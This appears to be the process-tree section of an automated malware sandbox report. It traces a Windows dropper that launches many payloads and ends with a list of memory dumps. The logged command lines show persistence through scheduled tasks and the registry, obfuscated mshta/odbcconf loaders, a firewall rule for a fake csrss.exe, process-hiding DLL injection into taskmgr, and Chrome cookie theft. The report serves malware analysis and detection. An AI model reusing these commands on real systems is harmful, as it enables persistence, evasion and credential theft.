                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                    3⤵
                                                                                                                      PID:4416
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
                                                                                                                    2⤵
                                                                                                                      PID:1376
                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                        CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
                                                                                                                        3⤵
                                                                                                                          PID:4740
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"
                                                                                                                        2⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:4216
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
                                                                                                                          3⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:1128
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\6829558ede\
                                                                                                                            4⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:4736
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\6829558ede\
                                                                                                                              5⤵
                                                                                                                                PID:5880
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /F
                                                                                                                              4⤵
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:4224
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue120fdd2f651bc16d.exe
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue120fdd2f651bc16d.exe
                                                                                                                        1⤵
                                                                                                                          PID:4736
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
                                                                                                                            2⤵
                                                                                                                              PID:4500
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                3⤵
                                                                                                                                  PID:608
                                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                  CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
                                                                                                                                  3⤵
                                                                                                                                    PID:4444
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
                                                                                                                                  2⤵
                                                                                                                                    PID:4576
                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                      CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
                                                                                                                                      3⤵
                                                                                                                                        PID:2372
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
                                                                                                                                      2⤵
                                                                                                                                        PID:3172
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                          3⤵
                                                                                                                                            PID:4524
                                                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                            CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
                                                                                                                                            3⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:2744
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
                                                                                                                                          2⤵
                                                                                                                                            PID:1836
                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                              CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
                                                                                                                                              3⤵
                                                                                                                                                PID:3756
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                              PID:3588
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
                                                                                                                                                3⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:3164
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1288be7dc9.exe
                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1288be7dc9.exe
                                                                                                                                            1⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:4648
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12cc5113c749c81.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12cc5113c749c81.exe" -u
                                                                                                                                            1⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:4644
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-A88GJ.tmp\Tue12a31584cfbfc1.tmp
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-A88GJ.tmp\Tue12a31584cfbfc1.tmp" /SL5="$5005C,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12a31584cfbfc1.exe"
                                                                                                                                            1⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            PID:4580
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12a31584cfbfc1.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12a31584cfbfc1.exe" /SILENT
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5008
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-518TU.tmp\Tue12a31584cfbfc1.tmp
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-518TU.tmp\Tue12a31584cfbfc1.tmp" /SL5="$5006A,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12a31584cfbfc1.exe" /SILENT
                                                                                                                                                3⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Loads dropped DLL
                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                PID:4164
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-IDOU4.tmp\winhostdll.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-IDOU4.tmp\winhostdll.exe" ss1
                                                                                                                                                  4⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:1488
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1223308b45.exe
                                                                                                                                            Tue1223308b45.exe
                                                                                                                                            1⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                                                                            PID:4512
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12fa8d5e6db2.exe
                                                                                                                                            Tue12fa8d5e6db2.exe
                                                                                                                                            1⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            PID:4372
                                                                                                                                            • C:\Users\Admin\AppData\Local\rFqBBKYKzTiH3.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\rFqBBKYKzTiH3.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:4192
                                                                                                                                            • C:\Users\Admin\AppData\Local\fu46sDtL.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\fu46sDtL.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Adds Run key to start application
                                                                                                                                              PID:1224
                                                                                                                                              • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                                                                "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                                                                3⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:5716
                                                                                                                                            • C:\Users\Admin\AppData\Local\RUBYpi5L8V.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\RUBYpi5L8V.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                              PID:656
                                                                                                                                            • C:\Users\Admin\AppData\Local\OU1SXMbYIr79.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\OU1SXMbYIr79.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                              PID:5144
                                                                                                                                            • C:\Users\Admin\AppData\Local\1ScHcISVxXqgZ.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\1ScHcISVxXqgZ.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                              PID:5256
                                                                                                                                              • C:\Users\Admin\AppData\Roaming\7222006.exe
                                                                                                                                                "C:\Users\Admin\AppData\Roaming\7222006.exe"
                                                                                                                                                3⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:5232
                                                                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                  "C:\Windows\System32\mshta.exe" vbSCriPt: cLOse (cReaTeoBjeCt ( "WScrIPt.SheLl" ).Run ( "cmD.eXE /c typE ""C:\Users\Admin\AppData\Roaming\7222006.exe""> ..\bB4qn_HE7Lx.eXe && StarT ..\BB4qN_HE7Lx.ExE -p7cO4tHG_n_nZlAEHjwzh75lIUBFy & if """" == """" for %A In ( ""C:\Users\Admin\AppData\Roaming\7222006.exe"" ) do taskkill -iM ""%~nXA"" /f " ,0 , trUE ) )
                                                                                                                                                  4⤵
                                                                                                                                                    PID:5380
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c typE "C:\Users\Admin\AppData\Roaming\7222006.exe"> ..\bB4qn_HE7Lx.eXe && StarT ..\BB4qN_HE7Lx.ExE -p7cO4tHG_n_nZlAEHjwzh75lIUBFy & if "" == "" for %A In ( "C:\Users\Admin\AppData\Roaming\7222006.exe" ) do taskkill -iM "%~nXA" /f
                                                                                                                                                      5⤵
                                                                                                                                                        PID:3948
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\bB4qn_HE7Lx.eXe
                                                                                                                                                          ..\BB4qN_HE7Lx.ExE -p7cO4tHG_n_nZlAEHjwzh75lIUBFy
                                                                                                                                                          6⤵
                                                                                                                                                            PID:4908
                                                                                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                              "C:\Windows\System32\mshta.exe" vbSCriPt: cLOse (cReaTeoBjeCt ( "WScrIPt.SheLl" ).Run ( "cmD.eXE /c typE ""C:\Users\Admin\AppData\Local\Temp\bB4qn_HE7Lx.eXe""> ..\bB4qn_HE7Lx.eXe && StarT ..\BB4qN_HE7Lx.ExE -p7cO4tHG_n_nZlAEHjwzh75lIUBFy & if ""-p7cO4tHG_n_nZlAEHjwzh75lIUBFy "" == """" for %A In ( ""C:\Users\Admin\AppData\Local\Temp\bB4qn_HE7Lx.eXe"" ) do taskkill -iM ""%~nXA"" /f " ,0 , trUE ) )
                                                                                                                                                              7⤵
                                                                                                                                                                PID:5612
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c typE "C:\Users\Admin\AppData\Local\Temp\bB4qn_HE7Lx.eXe"> ..\bB4qn_HE7Lx.eXe && StarT ..\BB4qN_HE7Lx.ExE -p7cO4tHG_n_nZlAEHjwzh75lIUBFy & if "-p7cO4tHG_n_nZlAEHjwzh75lIUBFy " == "" for %A In ( "C:\Users\Admin\AppData\Local\Temp\bB4qn_HE7Lx.eXe" ) do taskkill -iM "%~nXA" /f
                                                                                                                                                                  8⤵
                                                                                                                                                                    PID:884
                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                      9⤵
                                                                                                                                                                        PID:608
                                                                                                                                                                  • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                    "C:\Windows\System32\mshta.exe" vBscript: cloSe ( CREateobJeCt( "wscRIpT.sHeLL"). ruN ( "CMd.exe /R echO | sET /P = ""MZ"" > SOWzL.Y & coPy /B /Y SOWzl.Y + 1o3IMASY.8 + hB6hU6L.M + ~JutPA.D ..\P9IIZF.VD & StaRT odbcconf.exe -A { rEGSVR ..\P9IIZF.VD}& Del /Q * " , 0 , tRUE ) )
                                                                                                                                                                    7⤵
                                                                                                                                                                      PID:5920
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /R echO | sET /P = "MZ" > SOWzL.Y & coPy /B /Y SOWzl.Y + 1o3IMASY.8 + hB6hU6L.M + ~JutPA.D ..\P9IIZF.VD & StaRT odbcconf.exe -A { rEGSVR ..\P9IIZF.VD}& Del /Q *
                                                                                                                                                                        8⤵
                                                                                                                                                                          PID:3372
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /S /D /c" echO "
                                                                                                                                                                            9⤵
                                                                                                                                                                              PID:1736
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" sET /P = "MZ" 1>SOWzL.Y"
                                                                                                                                                                              9⤵
                                                                                                                                                                                PID:4784
                                                                                                                                                                              • C:\Windows\SysWOW64\odbcconf.exe
                                                                                                                                                                                odbcconf.exe -A { rEGSVR ..\P9IIZF.VD}
                                                                                                                                                                                9⤵
                                                                                                                                                                                  PID:5320
                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                            taskkill -iM "7222006.exe" /f
                                                                                                                                                                            6⤵
                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                            PID:6004
                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\7193025.exe
                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\7193025.exe"
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:4584
                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\7193025.exe
                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\7193025.exe"
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:2708
                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:5052
                                                                                                                                                                              • C:\Windows\system32\netsh.exe
                                                                                                                                                                                netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:6140
                                                                                                                                                                              • C:\Windows\rss\csrss.exe
                                                                                                                                                                                C:\Windows\rss\csrss.exe /304-304
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:5872
                                                                                                                                                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                                                                                                                                                    6⤵
                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                    PID:4736
                                                                                                                                                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                    schtasks /delete /tn ScheduledUpdate /f
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:3076
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:5760
                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2708 -s 800
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Program crash
                                                                                                                                                                                      PID:2384
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4584 -s 812
                                                                                                                                                                                    4⤵
                                                                                                                                                                                    • Program crash
                                                                                                                                                                                    PID:2260
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\upnVld917.exe
                                                                                                                                                                                "C:\Users\Admin\AppData\Local\upnVld917.exe"
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                PID:5440
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue126ca26de99.exe
                                                                                                                                                                              Tue126ca26de99.exe
                                                                                                                                                                              1⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                              PID:4136
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:5624
                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                    taskkill /f /im chrome.exe
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                    PID:4708
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1280bad731c48e8.exe
                                                                                                                                                                                Tue1280bad731c48e8.exe
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:2744
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12cb9b294f8.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12cb9b294f8.exe
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  PID:5080
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue126133918d2ff478c.exe
                                                                                                                                                                                  Tue126133918d2ff478c.exe
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  PID:3712
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    PID:4788
                                                                                                                                                                                • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  PID:5796
                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                    PID:5836
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\34E.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\34E.exe
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:884
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\1D9D.exe
                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\1D9D.exe
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:5072

                                                                                                                                                                                    Network

                                                                                                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                          Downloads

                                                                                                                                                                                          memory/724-266-0x0000000004DD0000-0x0000000004DD1000-memory.dmp

                                                                                                                                                                                          memory/724-233-0x0000000000560000-0x0000000000561000-memory.dmp

                                                                                                                                                                                          memory/724-309-0x0000000004D30000-0x0000000004D31000-memory.dmp

                                                                                                                                                                                          memory/1044-416-0x00000000035A0000-0x00000000035A1000-memory.dmp

                                                                                                                                                                                          memory/1044-426-0x00000000026F0000-0x00000000026F1000-memory.dmp

                                                                                                                                                                                          memory/1044-371-0x00000000028F0000-0x00000000028F1000-memory.dmp

                                                                                                                                                                                          memory/1044-408-0x00000000035B0000-0x00000000035B1000-memory.dmp

                                                                                                                                                                                          memory/1044-410-0x00000000035A0000-0x00000000035A1000-memory.dmp

                                                                                                                                                                                          memory/1044-384-0x0000000002900000-0x0000000002901000-memory.dmp

                                                                                                                                                                                          memory/1044-391-0x00000000028B0000-0x00000000028B1000-memory.dmp

                                                                                                                                                                                          memory/1044-388-0x00000000028D0000-0x00000000028D1000-memory.dmp

                                                                                                                                                                                          memory/1044-394-0x00000000028E0000-0x00000000028E1000-memory.dmp

                                                                                                                                                                                          memory/1044-422-0x0000000002700000-0x0000000002701000-memory.dmp

                                                                                                                                                                                          memory/1044-403-0x00000000028A0000-0x00000000028A1000-memory.dmp

                                                                                                                                                                                          memory/1044-413-0x00000000035A0000-0x00000000035A1000-memory.dmp

                                                                                                                                                                                          memory/1044-381-0x0000000002890000-0x0000000002891000-memory.dmp

                                                                                                                                                                                          memory/1044-417-0x00000000035A0000-0x00000000035A1000-memory.dmp

                                                                                                                                                                                          memory/1044-379-0x0000000002910000-0x0000000002911000-memory.dmp

                                                                                                                                                                                          memory/1044-420-0x00000000026E0000-0x00000000026E1000-memory.dmp

                                                                                                                                                                                          memory/1044-424-0x0000000002470000-0x0000000002471000-memory.dmp

                                                                                                                                                                                          memory/1044-425-0x00000000026A0000-0x00000000026A1000-memory.dmp

                                                                                                                                                                                          memory/1044-272-0x0000000002250000-0x00000000022B0000-memory.dmp

                                                                                                                                                                                          memory/1044-428-0x00000000035A0000-0x00000000035A1000-memory.dmp

                                                                                                                                                                                          memory/1044-427-0x00000000026D0000-0x00000000026D1000-memory.dmp

                                                                                                                                                                                          memory/1220-232-0x0000000005240000-0x0000000005241000-memory.dmp

                                                                                                                                                                                          memory/1220-303-0x0000000002C70000-0x0000000002C71000-memory.dmp

                                                                                                                                                                                          memory/1220-259-0x00000000051E0000-0x00000000051E1000-memory.dmp

                                                                                                                                                                                          memory/1220-194-0x00000000009F0000-0x00000000009F1000-memory.dmp

                                                                                                                                                                                          memory/1312-284-0x00000000028D0000-0x00000000028D6000-memory.dmp

                                                                                                                                                                                          memory/1312-364-0x00000000050F0000-0x00000000050F1000-memory.dmp

                                                                                                                                                                                          memory/1312-265-0x0000000004E70000-0x0000000004E71000-memory.dmp

                                                                                                                                                                                          memory/1312-209-0x0000000000490000-0x0000000000491000-memory.dmp

                                                                                                                                                                                          memory/1364-322-0x0000000004A22000-0x0000000004A23000-memory.dmp

                                                                                                                                                                                          memory/1364-289-0x0000000007410000-0x0000000007411000-memory.dmp

                                                                                                                                                                                          memory/1364-189-0x0000000002F40000-0x0000000002F41000-memory.dmp

                                                                                                                                                                                          memory/1364-182-0x0000000002F40000-0x0000000002F41000-memory.dmp

                                                                                                                                                                                          memory/1364-237-0x0000000004A20000-0x0000000004A21000-memory.dmp

                                                                                                                                                                                          memory/1456-205-0x0000000004860000-0x0000000004861000-memory.dmp

                                                                                                                                                                                          memory/1456-190-0x0000000002BB0000-0x0000000002BB1000-memory.dmp

                                                                                                                                                                                          memory/1456-220-0x0000000007120000-0x0000000007121000-memory.dmp

                                                                                                                                                                                          memory/1456-298-0x0000000007010000-0x0000000007011000-memory.dmp

                                                                                                                                                                                          memory/1456-302-0x0000000007930000-0x0000000007931000-memory.dmp

                                                                                                                                                                                          memory/1456-224-0x0000000004810000-0x0000000004811000-memory.dmp

                                                                                                                                                                                          memory/1456-257-0x0000000004812000-0x0000000004813000-memory.dmp

                                                                                                                                                                                          memory/1456-183-0x0000000002BB0000-0x0000000002BB1000-memory.dmp

                                                                                                                                                                                          memory/1772-256-0x0000000000170000-0x0000000000171000-memory.dmp

                                                                                                                                                                                          memory/1772-368-0x000000001AC60000-0x000000001AC62000-memory.dmp

                                                                                                                                                                                          memory/2056-252-0x0000000000400000-0x0000000000450000-memory.dmp

                                                                                                                                                                                          memory/2056-188-0x0000000000400000-0x0000000000450000-memory.dmp

                                                                                                                                                                                          memory/2128-288-0x0000000005360000-0x0000000005361000-memory.dmp

                                                                                                                                                                                          memory/2128-214-0x00000000000B0000-0x00000000000B1000-memory.dmp

                                                                                                                                                                                          memory/2128-274-0x0000000004AE0000-0x0000000004AE1000-memory.dmp

                                                                                                                                                                                          memory/2128-342-0x0000000004AD0000-0x0000000004AD1000-memory.dmp

                                                                                                                                                                                          memory/2128-346-0x00000000024D0000-0x00000000024D1000-memory.dmp

                                                                                                                                                                                          memory/2172-360-0x0000000005260000-0x0000000005261000-memory.dmp

                                                                                                                                                                                          memory/2172-358-0x0000000005330000-0x0000000005331000-memory.dmp

                                                                                                                                                                                          memory/2272-333-0x0000000002440000-0x0000000002441000-memory.dmp

                                                                                                                                                                                          memory/2272-231-0x00000000001C0000-0x00000000001C1000-memory.dmp

                                                                                                                                                                                          memory/2272-313-0x0000000004AF0000-0x0000000004AF1000-memory.dmp

                                                                                                                                                                                          memory/2296-141-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                          memory/2296-136-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                          memory/2296-139-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                          memory/2296-143-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                                                          memory/2296-142-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                          memory/2296-135-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                          memory/2296-134-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                          memory/2296-140-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                          memory/2296-138-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                          memory/2296-133-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                          memory/2296-132-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                          memory/2296-137-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                          memory/2340-295-0x0000000000400000-0x00000000004CC000-memory.dmp

                                                                                                                                                                                          memory/2436-199-0x0000000000400000-0x0000000000BF1000-memory.dmp

                                                                                                                                                                                          memory/2744-291-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                          memory/3004-247-0x0000000000400000-0x000000000043C000-memory.dmp

                                                                                                                                                                                          memory/3004-219-0x0000000000400000-0x000000000043C000-memory.dmp

                                                                                                                                                                                          memory/3004-338-0x0000000004A50000-0x0000000004A51000-memory.dmp

                                                                                                                                                                                          memory/3004-362-0x0000000004A53000-0x0000000004A54000-memory.dmp

                                                                                                                                                                                          memory/3004-308-0x0000000004A10000-0x0000000004A11000-memory.dmp

                                                                                                                                                                                          memory/3004-287-0x0000000004920000-0x000000000494C000-memory.dmp

                                                                                                                                                                                          memory/3004-267-0x0000000002440000-0x000000000246E000-memory.dmp

                                                                                                                                                                                          memory/3004-327-0x0000000004A54000-0x0000000004A56000-memory.dmp

